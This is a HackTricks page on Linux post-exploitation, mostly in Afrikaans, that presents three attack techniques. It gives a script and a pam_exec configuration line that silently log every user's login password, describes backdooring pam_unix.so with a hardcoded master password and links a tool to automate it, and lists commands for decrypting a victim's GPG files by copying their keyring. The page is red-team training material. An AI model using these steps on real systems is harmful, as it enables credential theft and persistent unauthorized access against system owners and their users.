Linux Post-Exploitation

Reading time: 5 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Sniffing Logon Passwords with PAM

Kom ons konfigureer 'n PAM-module om elke wagwoord wat 'n gebruiker gebruik om aan te meld, te log. As jy nie weet wat PAM is nie, kyk:

PAM - Pluggable Authentication Modules

For further details check the original post. This is just a summary:

Oorsig van die tegniek: Pluggable Authentication Modules (PAM) bied buigbaarheid in die bestuur van verifikasie op Unix-gebaseerde stelsels. Hulle kan sekuriteit verbeter deur aanmeldprosesse aan te pas, maar dra ook risiko's as hulle misbruik word. Hierdie opsomming beskryf 'n tegniek om aanmeldbewyse met PAM vas te vang, sowel as versagtingsmaatreëls.

Vasvang van aanmeldbewyse:

  • 'n bash-script met die naam toomanysecrets.sh word geskep om aanmeldpogings te log, deur die datum, gebruikersnaam ($PAM_USER), wagwoord (via stdin), en die remote host IP ($PAM_RHOST) na /var/log/toomanysecrets.log vas te lê.
  • Die script word uitvoerbaar gemaak en in die PAM-konfigurasie (common-auth) geïntegreer met behulp van die pam_exec.so module, met opsies om stil te hardloop en die verifikasie-token aan die script bloot te stel.
  • Die benadering demonstreer hoe 'n gekompromitteerde Linux-host misbruik kan word om aanmeldbewyse diskreet te log.
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

For further details check the original post. Dit is net 'n opsomming:

Die Pluggable Authentication Module (PAM) is 'n stelsel wat onder Linux gebruik word vir gebruiker-autentisering. Dit werk op drie hoofkonsepte: username, password, en service. Konfigurasielêers vir elke service is geleë in die /etc/pam.d/ gids, waar gedeelde biblioteke die verifikasie hanteer.

Doel: Wysig PAM om autentisering toe te laat met 'n spesifieke password, en die werklike gebruiker se password omseil. Hierdie metode fokus veral op die pam_unix.so gedeelde biblioteek wat deur die common-auth lêer gebruik word — die common-auth word by byna alle services ingesluit vir password-verifikasie.

Steps for Modifying pam_unix.so:

  1. Locate the Authentication Directive in the common-auth file:
  • Die reël wat verantwoordelik is vir die kontrole van 'n gebruiker se password roep pam_unix.so aan.
  1. Modify Source Code:
  • Voeg 'n voorwaardelike stelling by in die pam_unix_auth.c source file wat toegang verleen as 'n vooraf-gedefinieerde password gebruik word; anders gaan dit voort met die gewone autenticatieproses.
  1. Recompile and Replace the modified pam_unix.so library in the appropriate directory.
  2. Testing:
  • Toegang word met die vooraf-gedefinieerde password verleen oor verskeie services (login, ssh, sudo, su, screensaver), terwyl normale authenticatieprosesse ongemoeid gebly het.

tip

You can automate this process with https://github.com/zephrax/linux-pam-backdoor

Dekripteer GPG loot via homedir relocation

As jy 'n encrypted .gpg file en 'n gebruiker se ~/.gnupg gids (pubring, private-keys, trustdb) vind, maar nie kan dekripteer weens GnuPG homedir permisies/locks nie, kopieer die keyring na 'n skryfbare ligging en gebruik dit as jou GPG home.

Tipiese foutboodskappe wat jy kry sonder hierdie stap: "unsafe ownership on homedir", "failed to create temporary file", of "decryption failed: No secret key" (want GPG kan nie die oorspronklike homedir lees/skryf nie).

Werkvloei:

bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

As die geheime sleutelmateriaal in private-keys-v1.d teenwoordig is, sal GPG ontsluit en ontsleutel sonder om vir passphrase te vra (of dit sal vra as die sleutel beskerm is).

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks